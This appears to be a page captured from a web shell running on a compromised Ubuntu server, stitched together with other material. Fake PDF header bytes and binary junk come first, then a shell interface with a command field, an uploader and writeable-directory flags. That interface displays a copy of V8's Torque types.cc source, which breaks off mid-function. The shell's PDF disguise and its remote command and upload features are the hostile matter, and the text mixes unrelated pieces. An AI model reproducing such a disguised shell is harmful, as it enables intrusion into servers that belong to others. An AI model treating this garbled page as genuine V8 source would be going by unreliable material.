%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/deps/v8/src/torque/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/deps/v8/src/torque/types.cc
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "src/torque/types.h"

#include <cmath>
#include <iostream>

#include "src/base/bits.h"
#include "src/base/optional.h"
#include "src/torque/ast.h"
#include "src/torque/declarable.h"
#include "src/torque/global-context.h"
#include "src/torque/source-positions.h"
#include "src/torque/type-oracle.h"
#include "src/torque/type-visitor.h"

namespace v8 {
namespace internal {
namespace torque {

// This custom copy constructor doesn't copy aliases_ and id_ because they
// should be distinct for each type.
Type::Type(const Type& other) V8_NOEXCEPT
    : TypeBase(other),
      parent_(other.parent_),
      aliases_(),
      id_(TypeOracle::FreshTypeId()),
      constexpr_version_(other.constexpr_version_) {}
Type::Type(TypeBase::Kind kind, const Type* parent,
           MaybeSpecializationKey specialized_from)
    : TypeBase(kind),
      parent_(parent),
      id_(TypeOracle::FreshTypeId()),
      specialized_from_(specialized_from),
      constexpr_version_(nullptr) {}

std::string Type::ToString() const {
  if (aliases_.size() == 0)
    return ComputeName(ToExplicitString(), GetSpecializedFrom());
  if (aliases_.size() == 1) return *aliases_.begin();
  std::stringstream result;
  int i = 0;
  for (const std::string& alias : aliases_) {
    if (i == 0) {
      result << alias << " (aka. ";
    } else if (i == 1) {
      result << alias;
    } else {
      result << ", " << alias;
    }
    ++i;
  }
  result << ")";
  return result.str();
}

std::string Type::SimpleName() const {
  if (aliases_.empty()) {
    std::stringstream result;
    result << SimpleNameImpl();
    if (GetSpecializedFrom()) {
      for (const Type* t : GetSpecializedFrom()->specialized_types) {
        result << "_" << t->SimpleName();
      }
    }
    return result.str();
  }
  return *aliases_.begin();
}

// TODO(danno): HandlifiedCppTypeName should be used universally in Torque
// where the C++ type of a Torque object is required.
std::string Type::HandlifiedCppTypeName() const {
  if (IsSubtypeOf(TypeOracle::GetSmiType())) return "int";
  if (IsSubtypeOf(TypeOracle::GetTaggedType())) {
    return "Handle<" + UnhandlifiedCppTypeName() + ">";
  } else {
    return UnhandlifiedCppTypeName();
  }
}

std::string Type::UnhandlifiedCppTypeName() const {
  if (IsSubtypeOf(TypeOracle::GetSmiType())) return "int";
  if (this == TypeOracle::GetObjectType()) return "Object";
  return GetConstexprGeneratedTypeName();
}

bool Type::IsSubtypeOf(const Type* supertype) const {
  if (supertype->IsTopType()) return true;
  if (IsNever()) return true;
  if (const UnionType* union_type = UnionType::DynamicCast(supertype)) {
    return union_type->IsSupertypeOf(this);
  }
  const Type* subtype = this;
  while (subtype != nullptr) {
    if (subtype == supertype) return true;
    subtype = subtype->parent();
  }
  return false;
}

std::string Type::GetConstexprGeneratedTypeName() const {
  const Type* constexpr_version = ConstexprVersion();
  if (constexpr_version == nullptr) {
    Error("Type '", ToString(), "' requires a constexpr representation");
    return "";
  }
  return constexpr_version->GetGeneratedTypeName();
}

base::Optional<const ClassType*> Type::ClassSupertype() const {
  for (const Type* t = this; t != nullptr; t = t->parent()) {
    if (auto* class_type = ClassType::DynamicCast(t)) {
      return class_type;
    }
  }
  return base::nullopt;
}

base::Optional<const StructType*> Type::StructSupertype() const {
  for (const Type* t = this; t != nullptr; t = t->parent()) {
    if (auto* struct_type = StructType::DynamicCast(t)) {
      return struct_type;
    }
  }
  return base::nullopt;
}

base::Optional<const AggregateType*> Type::AggregateSupertype() const {
  for (const Type* t = this; t != nullptr; t = t->parent()) {
    if (auto* aggregate_type = AggregateType::DynamicCast(t)) {
      return aggregate_type;
    }
  }
  return base::nullopt;
}

// static
const Type* Type::CommonSupertype(const Type* a, const Type* b) {
  int diff = a->Depth() - b->Depth();
  const Type* a_supertype = a;
  const Type* b_supertype = b;
  for (; diff > 0; --diff) a_supertype = a_supertype->parent();
  for (; diff < 0; ++diff) b_supertype = b_supertype->parent();
  while (a_supertype && b_supertype) {
    if (a_supertype == b_supertype) return a_supertype;
    a_supertype = a_supertype->parent();
    b_supertype = b_supertype->parent();
  }
  ReportError("types " + a->ToString() + " and " + b->ToString() +
              " have no common supertype");
}

int Type::Depth() const {
  int result = 0;
  for (const Type* current = parent_; current; current = current->parent_) {
    ++result;
  }
  return result;
}

bool Type::IsAbstractName(const std::string& name) const {
  if (!IsAbstractType()) return false;
  return AbstractType::cast(this)->name() == name;
}

std::string Type::GetGeneratedTypeName() const {
  std::string result = GetGeneratedTypeNameImpl();
  if (result.empty() || result == "TNode<>") {
    ReportError("Generated type is required for type '", ToString(),
                "'. Use 'generates' clause in definition.");
  }
  return result;
}

std::string Type::GetGeneratedTNodeTypeName() const {
  std::string result = GetGeneratedTNodeTypeNameImpl();
  if (result.empty() || IsConstexpr()) {
    ReportError("Generated TNode type is required for type '", ToString(),
                "'. Use 'generates' clause in definition.");
  }
  return result;
}

std::string AbstractType::GetGeneratedTypeNameImpl() const {
  // A special case that is not very well represented by the "generates"
  // syntax in the .tq files: Lazy<T> represents a std::function that
  // produces a TNode of the wrapped type.
  if (base::Optional<const Type*> type_wrapped_in_lazy =
          Type::MatchUnaryGeneric(this, TypeOracle::GetLazyGeneric())) {
    DCHECK(!IsConstexpr());
    return "std::function<" + (*type_wrapped_in_lazy)->GetGeneratedTypeName() +
           "()>";
  }

  if (generated_type_.empty()) {
    return parent()->GetGeneratedTypeName();
  }
  return IsConstexpr() ? generated_type_ : "TNode<" + generated_type_ + ">";
}

std::string AbstractType::GetGeneratedTNodeTypeNameImpl() const {
  if (generated_type_.empty()) return parent()->GetGeneratedTNodeTypeName();
  return generated_type_;
}

std::vector<TypeChecker> AbstractType::GetTypeCheckers() const {
  if (UseParentTypeChecker()) return parent()->GetTypeCheckers();
  std::string type_name = name();
  if (auto strong_type =
          Type::MatchUnaryGeneric(this, TypeOracle::GetWeakGeneric())) {
    auto strong_runtime_types = (*strong_type)->GetTypeCheckers();
    std::vector<TypeChecker> result;
    for (const TypeChecker& type : strong_runtime_types) {
      // Generic parameter in Weak<T> should have already been checked to
      // extend HeapObject, so it couldn't itself be another weak type.
      DCHECK(type.weak_ref_to.empty());
      result.push_back({type_name, type.type});
    }
    return result;
  }
  return {{type_name, ""}};
}

std::string BuiltinPointerType::ToExplicitString() const {
  std::stringstream result;
  result << "builtin (";
  PrintCommaSeparatedList(result, parameter_types_);
  result << ") => " << *return_type_;
  return result.str();
}

std::string BuiltinPointerType::SimpleNameImpl() const {
  std::stringstream result;
  result << "BuiltinPointer";
  for (const Type* t : parameter_types_) {
    result << "_" << t->SimpleName();
  }
  result << "_" << return_type_->SimpleName();
  return result.str();
}

std::string UnionType::ToExplicitString() const {
  std::stringstream result;
  result << "(";
  bool first = true;
  for (const Type* t : types_) {
    if (!first) {
      result << " | ";
    }
    first = false;
    result << *t;
  }
  result << ")";
  return result.str();
}

std::string UnionType::SimpleNameImpl() const {
  std::stringstream result;
  bool first = true;
  for (const Type* t : types_) {
    if (!first) {
      result << "_OR_";
    }
    first = false;
    result << t->SimpleName();
  }
  return result.str();
}

std::string UnionType::GetGeneratedTNodeTypeNameImpl() const {
  if (types_.size() <= 3) {
    std::set<std::string> members;
    for (const Type* t : types_) {
      members.insert(t->GetGeneratedTNodeTypeName());
    }
    if (members == std::set<std::string>{"Smi", "HeapNumber"}) {
      return "Number";
    }
    if (members == std::set<std::string>{"Smi", "HeapNumber", "BigInt"}) {
      return "Numeric";
    }
  }
  return parent()->GetGeneratedTNodeTypeName();
}

void UnionType::RecomputeParent() {
  const Type* parent = nullptr;
  for (const Type* t : types_) {
    if (parent == nullptr) {
      parent = t;
    } else {
      parent = CommonSupertype(parent, t);
    }
  }
  set_parent(parent);
}

void UnionType::Subtract(const Type* t) {
  for (auto it = types_.begin(); it != types_.end();) {
    if ((*it)->IsSubtypeOf(t)) {
      it = types_.erase(it);
    } else {
      ++it;
    }
  }
  if (types_.size() == 0) types_.insert(TypeOracle::GetNeverType());
  RecomputeParent();
}

const Type* SubtractType(const Type* a, const Type* b) {
  UnionType result = UnionType::FromType(a);
  result.Subtract(b);
  return TypeOracle::GetUnionType(result);
}

std::string BitFieldStructType::ToExplicitString() const {
  return "bitfield struct " + name();
}

const BitField& BitFieldStructType::LookupField(const std::string& name) const {
  for (const BitField& field : fields_) {
    if (field.name_and_type.name == name) {
      return field;
    }
  }
  ReportError("Couldn't find bitfield ", name);
}

void AggregateType::CheckForDuplicateFields() const {
  // Check the aggregate hierarchy and currently defined class for duplicate
  // field declarations.
  auto hierarchy = GetHierarchy();
  std::map<std::string, const AggregateType*> field_names;
  for (const AggregateType* aggregate_type : hierarchy) {
    for (const Field& field : aggregate_type->fields()) {
      const std::string& field_name = field.name_and_type.name;
      auto i = field_names.find(field_name);
      if (i != field_names.end()) {
        CurrentSourcePosition::Scope current_source_position(field.pos);
        std::string aggregate_type_name =
            aggregate_type->IsClassType() ? "class" : "struct";
        if (i->second == this) {
          ReportError(aggregate_type_name, " '", name(),
                      "' declares a field with the name '", field_name,
                      "' more than once");
        } else {
          ReportError(aggregate_type_name, " '", name(),
                      "' declares a field with the name '", field_name,
                      "' that masks an inherited field from class '",
                      i->second->name(), "'");
        }
      }
      field_names[field_name] = aggregate_type;
    }
  }
}

std::vector<const AggregateType*> AggregateType::GetHierarchy() const {
  if (!is_finalized_) Finalize();
  std::vector<const AggregateType*> hierarchy;
  const AggregateType* current_container_type = this;
  while (current_container_type != nullptr) {
    hierarchy.push_back(current_container_type);
    current_container_type =
        current_container_type->IsClassType()
            ? ClassType::cast(current_container_type)->GetSuperClass()
            : nullptr;
  }
  std::reverse(hierarchy.begin(), hierarchy.end());
  return hierarchy;
}

bool AggregateType::HasField(const std::string& name) const {
  if (!is_finalized_) Finalize();
  for (auto& field : fields_) {
    if (field.name_and_type.name == name) return true;
  }
  if (parent() != nullptr) {
    if (auto parent_class = ClassType::DynamicCast(parent())) {
      return parent_class->HasField(name);
    }
  }
  return false;
}

const Field& AggregateType::LookupFieldInternal(const std::string& name) const {
  for (auto& field : fields_) {
    if (field.name_and_type.name == name) return field;
  }
  if (parent() != nullptr) {
    if (auto parent_class = ClassType::DynamicCast(parent())) {
      return parent_class->LookupField(name);
    }
  }
  ReportError("no field ", name, " found in ", this->ToString());
}

const Field& AggregateType::LookupField(const std::string& name) const {
  if (!is_finalized_) Finalize();
  return LookupFieldInternal(name);
}

StructType::StructType(Namespace* nspace, const StructDeclaration* decl,
                       MaybeSpecializationKey specialized_from)
    : AggregateType(Kind::kStructType, nullptr, nspace, decl->name->value,
                    specialized_from),
      decl_(decl) {
  if (decl->flags & StructFlag::kExport) {
    generated_type_name_ = "TorqueStruct" + name();
  } else {
    generated_type_name_ =
        GlobalContext::MakeUniqueName("TorqueStruct" + SimpleName());
  }
}

std::string StructType::GetGeneratedTypeNameImpl() const {
  return generated_type_name_;
}

size_t StructType::PackedSize() const {
  size_t result = 0;
  for (const Field& field : fields()) {
    result += std::get<0>(field.GetFieldSizeInformation());
  }
  return result;
}

StructType::Classification StructType::ClassifyContents() const {
  Classification result = ClassificationFlag::kEmpty;
  for (const Field& struct_field : fields()) {
    const Type* field_type = struct_field.name_and_type.type;
    if (field_type->IsSubtypeOf(TypeOracle::GetTaggedType())) {
      result |= ClassificationFlag::kTagged;
    } else if (auto field_as_struct = field_type->StructSupertype()) {
      result |= (*field_as_struct)->ClassifyContents();
    } else {
      result |= ClassificationFlag::kUntagged;
    }
  }
  return result;
}

// static
std::string Type::ComputeName(const std::string& basename,
                              MaybeSpecializationKey specialized_from) {
  if (!specialized_from) return basename;
  if (specialized_from->generic == TypeOracle::GetConstReferenceGeneric()) {
    return torque::ToString("const &", *specialized_from->specialized_types[0]);
  }
  if (specialized_from->generic == TypeOracle::GetMutableReferenceGeneric()) {
    return torque::ToString("&", *specialized_from->specialized_types[0]);
  }
  std::stringstream s;
  s << basename << "<";
  bool first = true;
  for (auto t : specialized_from->specialized_types) {
    if (!first) {
      s << ", ";
    }
    s << t->ToString();
    first = false;
  }
  s << ">";
  return s.str();
}

std::string StructType::SimpleNameImpl() const { return decl_->name->value; }

// static
base::Optional<const Type*> Type::MatchUnaryGeneric(const Type* type,
                                                    GenericType* generic) {
  DCHECK_EQ(generic->generic_parameters().size(), 1);
  if (!type->GetSpecializedFrom()) {
    return base::nullopt;
  }
  auto& key = type->GetSpecializedFrom().value();
  if (key.generic != generic || key.specialized_types.size() != 1) {
    return base::nullopt;
  }
  return {key.specialized_types[0]};
}

std::vector<Method*> AggregateType::Methods(const std::string& name) const {
  if (!is_finalized_) Finalize();
  std::vector<Method*> result;
  std::copy_if(methods_.begin(), methods_.end(), std::back_inserter(result),
               [name](Macro* macro) { return macro->ReadableName() == name; });
  if (result.empty() && parent() != nullptr) {
    if (auto aggregate_parent = parent()->AggregateSupertype()) {
      return (*aggregate_parent)->Methods(name);
    }
  }
  return result;
}

std::string StructType::ToExplicitString() const { return "struct " + name(); }

void StructType::Finalize() const {
  if (is_finalized_) return;
  {
    CurrentScope::Scope scope_activator(nspace());
    CurrentSourcePosition::Scope position_activator(decl_->pos);
    TypeVisitor::VisitStructMethods(const_cast<StructType*>(this), decl_);
  }
  is_finalized_ = true;
  CheckForDuplicateFields();
}

ClassType::ClassType(const Type* parent, Namespace* nspace,
                     const std::string& name, ClassFlags flags,
                     const std::string& generates, const ClassDeclaration* decl,
                     const TypeAlias* alias)
    : AggregateType(Kind::kClassType, parent, nspace, name),
      size_(ResidueClass::Unknown()),
      flags_(flags),
      generates_(generates),
      decl_(decl),
      alias_(alias) {}

std::string ClassType::GetGeneratedTNodeTypeNameImpl() const {
  return generates_;
}

std::string ClassType::GetGeneratedTypeNameImpl() const {
  return IsConstexpr() ? GetGeneratedTNodeTypeName()
                       : "TNode<" + GetGeneratedTNodeTypeName() + ">";
}

std::string ClassType::ToExplicitString() const { return "class " + name(); }

bool ClassType::AllowInstantiation() const {
  return (!IsExtern() || nspace()->IsDefaultNamespace()) && !IsAbstract();
}

void ClassType::Finalize() const {
  if (is_finalized_) return;
  CurrentScope::Scope scope_activator(alias_->ParentScope());
  CurrentSourcePosition::Scope position_activator(decl_->pos);
  TypeVisitor::VisitClassFieldsAndMethods(const_cast<ClassType*>(this),
                                          this->decl_);
  is_finalized_ = true;
  CheckForDuplicateFields();
}

std::vector<Field> ClassType::ComputeAllFields() const {
  std::vector<Field> all_fields;
  const ClassType* super_class = this->GetSuperClass();
  if (super_class) {
    all_fields = super_class->ComputeAllFields();
  }
  const std::vector<Field>& fields = this->fields();
  all_fields.insert(all_fields.end(), fields.begin(), fields.end());
  return all_fields;
}

std::vector<Field> ClassType::ComputeHeaderFields() const {
  std::vector<Field> result;
  for (Field& field : ComputeAllFields()) {
    if (field.index) break;
    DCHECK(*field.offset < header_size());
    result.push_back(std::move(field));
  }
  return result;
}

std::vector<Field> ClassType::ComputeArrayFields() const {
  std::vector<Field> result;
  for (Field& field : ComputeAllFields()) {
    if (!field.index) {
      DCHECK(*field.offset < header_size());
      continue;
    }
    result.push_back(std::move(field));
  }
  return result;
}

void ClassType::InitializeInstanceTypes(
    base::Optional<int> own, base::Optional<std::pair<int, int>> range) const {
  DCHECK(!own_instance_type_.has_value());
  DCHECK(!instance_type_range_.has_value());
  own_instance_type_ = own;
  instance_type_range_ = range;
}

base::Optional<int> ClassType::OwnInstanceType() const {
  DCHECK(GlobalContext::IsInstanceTypesInitialized());
  return own_instance_type_;
}

base::Optional<std::pair<int, int>> ClassType::InstanceTypeRange() const {
  DCHECK(GlobalContext::IsInstanceTypesInitialized());
  return instance_type_range_;
}

namespace {
void ComputeSlotKindsHelper(std::vector<ObjectSlotKind>* slots,
                            size_t start_offset,
                            const std::vector<Field>& fields) {
  size_t offset = start_offset;
  for (const Field& field : fields) {
    size_t field_size = std::get<0>(field.GetFieldSizeInformation());
    size_t slot_index = offset / TargetArchitecture::TaggedSize();
    // Rounding-up division to find the number of slots occupied by all the
    // fields up to and including the current one.
    size_t used_slots =
        (offset + field_size + TargetArchitecture::TaggedSize() - 1) /
        TargetArchitecture::TaggedSize();
    while (used_slots > slots->size()) {
      slots->push_back(ObjectSlotKind::kNoPointer);
    }
    const Type* type = field.name_and_type.type;
    if (auto struct_type = type->StructSupertype()) {
      ComputeSlotKindsHelper(slots, offset, (*struct_type)->fields());
    } else {
      ObjectSlotKind kind;
      if (type->IsSubtypeOf(TypeOracle::GetObjectType())) {
        if (field.is_weak) {
          kind = ObjectSlotKind::kCustomWeakPointer;
        } else {
          kind = ObjectSlotKind::kStrongPointer;
        }
      } else if (type->IsSubtypeOf(TypeOracle::GetTaggedType())) {
        DCHECK(!field.is_weak);
        kind = ObjectSlotKind::kMaybeObjectPointer;
      } else {
        kind = ObjectSlotKind::kNoPointer;
      }
      DCHECK(slots->at(slot_index) == ObjectSlotKind::kNoPointer);
      slots->at(slot_index) = kind;
    }

    offset += field_size;
  }
}
}  // namespace

std::vector<ObjectSlotKind> ClassType::ComputeHeaderSlotKinds() const {
  std::vector<ObjectSlotKind> result;
  std::vector<Field> header_fields = ComputeHeaderFields();
  ComputeSlotKindsHelper(&result, 0, header_fields);
  DCHECK_EQ(std::ceil(static_cast<double>(header_size()) /
                      TargetArchitecture::TaggedSize()),
            result.size());
  return result;
}

base::Optional<ObjectSlotKind> ClassType::ComputeArraySlotKind() const {
  std::vector<ObjectSlotKind> kinds;
  ComputeSlotKindsHelper(&kinds, 0, ComputeArrayFields());
  if (kinds.empty()) return base::nullopt;
  std::sort(kinds.begin(), kinds.end());
  if (kinds.front() == kinds.back()) return {kinds.front()};
  if (kinds.front() == ObjectSlotKind::kStrongPointer &&
      kinds.back() == ObjectSlotKind::kMaybeObjectPointer) {
    return ObjectSlotKind::kMaybeObjectPointer;
  }
  Error("Array fields mix types with different GC visitation requirements.")
      .Throw();
}

bool ClassType::HasNoPointerSlots() const {
  for (ObjectSlotKind slot : ComputeHeaderSlotKinds()) {
    if (slot != ObjectSlotKind::kNoPointer) return false;
  }
  if (auto slot = ComputeArraySlotKind()) {
    if (*slot != ObjectSlotKind::kNoPointer) return false;
  }
  return true;
}

bool ClassType::HasIndexedFieldsIncludingInParents() const {
  for (const auto& field : fields_) {
    if (field.index.has_value()) return true;
  }
  if (const ClassType* parent = GetSuperClass()) {
    return parent->HasIndexedFieldsIncludingInParents();
  }
  return false;
}

const Field* ClassType::GetFieldPreceding(size_t field_index) const {
  if (field_index > 0) {
    return &fields_[field_index - 1];
  }
  if (const ClassType* parent = GetSuperClass()) {
    return parent->GetFieldPreceding(parent->fields_.size());
  }
  return nullptr;
}

const ClassType* ClassType::GetClassDeclaringField(const Field& f) const {
  for (const Field& field : fields_) {
    if (f.name_and_type.name == field.name_and_type.name) return this;
  }
  return GetSuperClass()->GetClassDeclaringField(f);
}

std::string ClassType::GetSliceMacroName(const Field& field) const {
  const ClassType* declarer = GetClassDeclaringField(field);
  return "FieldSlice" + declarer->name() +
         CamelifyString(field.name_and_type.name);
}

void ClassType::GenerateAccessors() {
  bool at_or_after_indexed_field = false;
  if (const ClassType* parent = GetSuperClass()) {
    at_or_after_indexed_field = parent->HasIndexedFieldsIncludingInParents();
  }
  // For each field, construct AST snippets that implement a CSA accessor
  // function. The implementation iterator will turn the snippets into code.
  for (size_t field_index = 0; field_index < fields_.size(); ++field_index) {
    Field& field = fields_[field_index];
    if (field.name_and_type.type == TypeOracle::GetVoidType()) {
      continue;
    }
    at_or_after_indexed_field =
        at_or_after_indexed_field || field.index.has_value();
    CurrentSourcePosition::Scope position_activator(field.pos);

    IdentifierExpression* parameter = MakeIdentifierExpression("o");
    IdentifierExpression* index = MakeIdentifierExpression("i");

    std::string camel_field_name = CamelifyString(field.name_and_type.name);

    if (at_or_after_indexed_field) {
      if (!field.index.has_value()) {
        // There's no fundamental reason we couldn't generate functions to get
        // references instead of slices, but it's not yet implemented.
        ReportError(
            "Torque doesn't yet support non-indexed fields after indexed "
            "fields");
      }

      GenerateSliceAccessor(field_index);
    }

    // For now, only generate indexed accessors for simple types
    if (field.index.has_value() && field.name_and_type.type->IsStructType()) {
      continue;
    }

    // An explicit index is only used for indexed fields not marked as optional.
    // Optional fields implicitly load or store item zero.
    bool use_index = field.index && !field.index->optional;

    // Load accessor
    std::string load_macro_name = "Load" + this->name() + camel_field_name;
    Signature load_signature;
    load_signature.parameter_names.push_back(MakeNode<Identifier>("o"));
    load_signature.parameter_types.types.push_back(this);
    if (use_index) {
      load_signature.parameter_names.push_back(MakeNode<Identifier>("i"));
      load_signature.parameter_types.types.push_back(
          TypeOracle::GetIntPtrType());
    }
    load_signature.parameter_types.var_args = false;
    load_signature.return_type = field.name_and_type.type;

    Expression* load_expression =
        MakeFieldAccessExpression(parameter, field.name_and_type.name);
    if (use_index) {
      load_expression =
          MakeNode<ElementAccessExpression>(load_expression, index);
    }
    Statement* load_body = MakeNode<ReturnStatement>(load_expression);
    Declarations::DeclareMacro(load_macro_name, true, base::nullopt,
                               load_signature, load_body, base::nullopt);

    // Store accessor
    if (!field.const_qualified) {
      IdentifierExpression* value = MakeIdentifierExpression("v");
      std::string store_macro_name = "Store" + this->name() + camel_field_name;
      Signature store_signature;
      store_signature.parameter_names.push_back(MakeNode<Identifier>("o"));
      store_signature.parameter_types.types.push_back(this);
      if (use_index) {
        store_signature.parameter_names.push_back(MakeNode<Identifier>("i"));
        store_signature.parameter_types.types.push_back(
            TypeOracle::GetIntPtrType());
      }
      store_signature.parameter_names.push_back(MakeNode<Identifier>("v"));
      store_signature.parameter_types.types.push_back(field.name_and_type.type);
      store_signature.parameter_types.var_args = false;
      // TODO(danno): Store macros probably should return their value argument
      store_signature.return_type = TypeOracle::GetVoidType();
      Expression* store_expression =
          MakeFieldAccessExpression(parameter, field.name_and_type.name);
      if (use_index) {
        store_expression =
            MakeNode<ElementAccessExpression>(store_expression, index);
      }
      Statement* store_body = MakeNode<ExpressionStatement>(
          MakeNode<AssignmentExpression>(store_expression, value));
      Declarations::DeclareMacro(store_macro_name, true, base::nullopt,
                                 store_signature, store_body, base::nullopt,
                                 false);
    }
  }
}

void ClassType::GenerateSliceAccessor(size_t field_index) {
  // Generate a Torque macro for getting a Slice to this field. This macro can
  // be called by the dot operator for this field. In Torque, this function for
  // class "ClassName" and field "field_name" and field type "FieldType" would
  // be written as one of the following:
  //
  // If the field has a known offset (in this example, 16):
  // FieldSliceClassNameFieldName(o: ClassName) {
  //   return torque_internal::unsafe::New{Const,Mutable}Slice<FieldType>(
  //     /*object:*/ o,
  //     /*offset:*/ 16,
  //     /*length:*/ torque_internal::%IndexedFieldLength<ClassName>(
  //                     o, "field_name")
  //   );
  // }
  //
  // If the field has an unknown offset, and the previous field is named p, and
  // an item in the previous field has size 4:
  // FieldSliceClassNameFieldName(o: ClassName) {
  //   const previous = %FieldSlice<ClassName>(o, "p");
  //   return torque_internal::unsafe::New{Const,Mutable}Slice<FieldType>(
  //     /*object:*/ o,
  //     /*offset:*/ previous.offset + 4 * previous.length,
  //     /*length:*/ torque_internal::%IndexedFieldLength<ClassName>(
  //                     o, "field_name")
  //   );
  // }
  const Field& field = fields_[field_index];
  std::string macro_name = GetSliceMacroName(field);
  Signature signature;
  Identifier* parameter_identifier = MakeNode<Identifier>("o");
  signature.parameter_names.push_back(parameter_identifier);
  signature.parameter_types.types.push_back(this);
  signature.parameter_types.var_args = false;
  signature.return_type =
      field.const_qualified
          ? TypeOracle::GetConstSliceType(field.name_and_type.type)
          : TypeOracle::GetMutableSliceType(field.name_and_type.type);

  std::vector<Statement*> statements;
  Expression* offset_expression = nullptr;
  IdentifierExpression* parameter =
      MakeNode<IdentifierExpression>(parameter_identifier);

  if (field.offset.has_value()) {
    offset_expression =
        MakeNode<NumberLiteralExpression>(static_cast<double>(*field.offset));
  } else {
    const Field* previous = GetFieldPreceding(field_index);
    DCHECK_NOT_NULL(previous);

    // %FieldSlice<ClassName>(o, "p")
    Expression* previous_expression = MakeCallExpression(
        MakeIdentifierExpression({"torque_internal"}, "%FieldSlice",
                                 {MakeNode<PrecomputedTypeExpression>(this)}),
        {parameter, MakeNode<StringLiteralExpression>(
                        StringLiteralQuote(previous->name_and_type.name))});

    // const previous = %FieldSlice<ClassName>(o, "p");
    Statement* define_previous =
        MakeConstDeclarationStatement("previous", previous_expression);
    statements.push_back(define_previous);

    // 4
    size_t previous_element_size;
    std::tie(previous_element_size, std::ignore) =
        *SizeOf(previous->name_and_type.type);
    Expression* previous_element_size_expression =
        MakeNode<NumberLiteralExpression>(
            static_cast<double>(previous_element_size));

    // previous.length
    Expression* previous_length_expression = MakeFieldAccessExpression(
        MakeIdentifierExpression("previous"), "length");

    // previous.offset
    Expression* previous_offset_expression = MakeFieldAccessExpression(
        MakeIdentifierExpression("previous"), "offset");

    // 4 * previous.length
    // In contrast to the code used for allocation, we don't need overflow
    // checks here because we already know all the offsets fit into memory.
    offset_expression = MakeCallExpression(
        "*", {previous_element_size_expression, previous_length_expression});

    // previous.offset + 4 * previous.length
    offset_expression = MakeCallExpression(
        "+", {previous_offset_expression, offset_expression});
  }

  // torque_internal::%IndexedFieldLength<ClassName>(o, "field_name")
  Expression* length_expression = MakeCallExpression(
      MakeIdentifierExpression({"torque_internal"}, "%IndexedFieldLength",
                               {MakeNode<PrecomputedTypeExpression>(this)}),
      {parameter, MakeNode<StringLiteralExpression>(
                      StringLiteralQuote(field.name_and_type.name))});

  // torque_internal::unsafe::New{Const,Mutable}Slice<FieldType>(
  //   /*object:*/ o,
  //   /*offset:*/ <<offset_expression>>,
  //   /*length:*/ torque_internal::%IndexedFieldLength<ClassName>(
  //                   o, "field_name")
  // )
  IdentifierExpression* new_struct = MakeIdentifierExpression(
      {"torque_internal", "unsafe"},
      field.const_qualified ? "NewConstSlice" : "NewMutableSlice",
      {MakeNode<PrecomputedTypeExpression>(field.name_and_type.type)});
  Expression* slice_expression = MakeCallExpression(
      new_struct, {parameter, offset_expression, length_expression});

  statements.push_back(MakeNode<ReturnStatement>(slice_expression));
  Statement* block =
      MakeNode<BlockStatement>(/*deferred=*/false, std::move(statements));

  Macro* macro = Declarations::DeclareMacro(macro_name, true, base::nullopt,
                                            signature, block, base::nullopt);
  GlobalContext::EnsureInCCOutputList(TorqueMacro::cast(macro),
                                      macro->Position().source);
}

bool ClassType::HasStaticSize() const {
  if (IsSubtypeOf(TypeOracle::GetJSObjectType()) && !IsShape()) return false;
  return size().SingleValue().has_value();
}

SourceId ClassType::AttributedToFile() const {
  bool in_test_directory = StringStartsWith(
      SourceFileMap::PathFromV8Root(GetPosition().source).substr(), "test/");
  if (!in_test_directory && (IsExtern() || ShouldExport())) {
    return GetPosition().source;
  }
  return SourceFileMap::GetSourceId("src/objects/torque-defined-classes.tq");
}

void PrintSignature(std::ostream& os, const Signature& sig, bool with_names) {
  os << "(";
  for (size_t i = 0; i < sig.parameter_types.types.size(); ++i) {
    if (i == 0 && sig.implicit_count != 0) os << "implicit ";
    if (sig.implicit_count > 0 && sig.implicit_count == i) {
      os << ")(";
    } else {
      if (i > 0) os << ", ";
    }
    if (with_names && !sig.parameter_names.empty()) {
      if (i < sig.parameter_names.size()) {
        os << sig.parameter_names[i] << ": ";
      }
    }
    os << *sig.parameter_types.types[i];
  }
  if (sig.parameter_types.var_args) {
    if (sig.parameter_names.size()) os << ", ";
    os << "...";
  }
  os << ")";
  os << ": " << *sig.return_type;

  if (sig.labels.empty()) return;

  os << " labels ";
  for (size_t i = 0; i < sig.labels.size(); ++i) {
    if (i > 0) os << ", ";
    os << sig.labels[i].name;
    if (sig.labels[i].types.size() > 0) os << "(" << sig.labels[i].types << ")";
  }
}

std::ostream& operator<<(std::ostream& os, const NameAndType& name_and_type) {
  os << name_and_type.name;
  os << ": ";
  os << *name_and_type.type;
  return os;
}

std::ostream& operator<<(std::ostream& os, const Field& field) {
  os << field.name_and_type;
  if (field.is_weak) {
    os << " (weak)";
  }
  return os;
}

std::ostream& operator<<(std::ostream& os, const Signature& sig) {
  PrintSignature(os, sig, true);
  return os;
}

std::ostream& operator<<(std::ostream& os, const TypeVector& types) {
  PrintCommaSeparatedList(os, types);
  return os;
}

std::ostream& operator<<(std::ostream& os, const ParameterTypes& p) {
  PrintCommaSeparatedList(os, p.types);
  if (p.var_args) {
    if (p.types.size() > 0) os << ", ";
    os << "...";
  }
  return os;
}

bool Signature::HasSameTypesAs(const Signature& other,
                               ParameterMode mode) const {
  auto compare_types = types();
  auto other_compare_types = other.types();
  if (mode == ParameterMode::kIgnoreImplicit) {
    compare_types = GetExplicitTypes();
    other_compare_types = other.GetExplicitTypes();
  }
  if (!(compare_types == other_compare_types &&
        parameter_types.var_args == other.parameter_types.var_args &&
        return_type == other.return_type)) {
    return false;
  }
  if (labels.size() != other.labels.size()) {
    return false;
  }
  size_t i = 0;
